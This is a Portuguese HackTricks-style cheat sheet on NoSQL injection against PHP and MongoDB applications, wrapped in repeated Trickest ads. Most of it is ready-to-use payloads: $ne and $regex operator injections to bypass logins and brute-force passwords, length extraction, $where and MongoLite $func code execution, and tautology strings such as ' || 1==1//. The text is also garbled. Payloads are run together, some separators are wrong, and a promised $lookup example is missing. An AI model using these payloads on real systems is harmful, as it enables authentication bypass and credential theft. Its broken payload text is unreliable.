Use Trickest para construir e automatizar fluxos de trabalho facilmente, impulsionados pelas ferramentas da comunidade mais avançadas do mundo.
Acesse hoje:
Compartilhe truques de hacking enviando PRs para osHackTricks e HackTricks Cloud repositórios do github.
Exploit
Em PHP, você pode enviar um Array mudando o parâmetro enviado de parameter=foo para parameter[arrName]=foo.
Os exploits são baseados em adicionar um Operador:
username[$ne]=1$password[$ne]=1 #<Not Equals>username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where:"this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Um atacante pode explorar isso inserindo strings como admin' || 'a'=='a, fazendo com que a consulta retorne todos os documentos ao satisfazer a condição com uma tautologia ('a'=='a'). Isso é análogo a ataques de injeção SQL onde entradas como ' or 1=1-- - são usadas para manipular consultas SQL. No MongoDB, injeções semelhantes podem ser feitas usando entradas como ' || 1==1//, ' || 1==1%00, ou admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Extrair informações de comprimento
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Usando o operador $func da biblioteca MongoLite (usada por padrão), pode ser possível executar uma função arbitrária como neste relatório.
"user":{"$func":"var_dump"}
Obter informações de uma coleção diferente
É possível usar $lookup para obter informações de uma coleção diferente. No exemplo a seguir, estamos lendo de uma coleção diferente chamada users e obtendo os resultados de todas as entradas com uma senha que corresponde a um curinga.
NOTA:$lookup e outras funções de agregação estão disponíveis apenas se a função aggregate() foi usada para realizar a busca em vez das funções mais comuns find() ou findOne().
Use Trickest para construir e automatizar fluxos de trabalho facilmente, impulsionados pelas ferramentas comunitárias mais avançadas do mundo.
Obtenha Acesso Hoje:
Use Trickest para construir e automatizar fluxos de trabalho facilmente, impulsionados pelas ferramentas da comunidade mais avançadas do mundo.
Obtenha Acesso Hoje: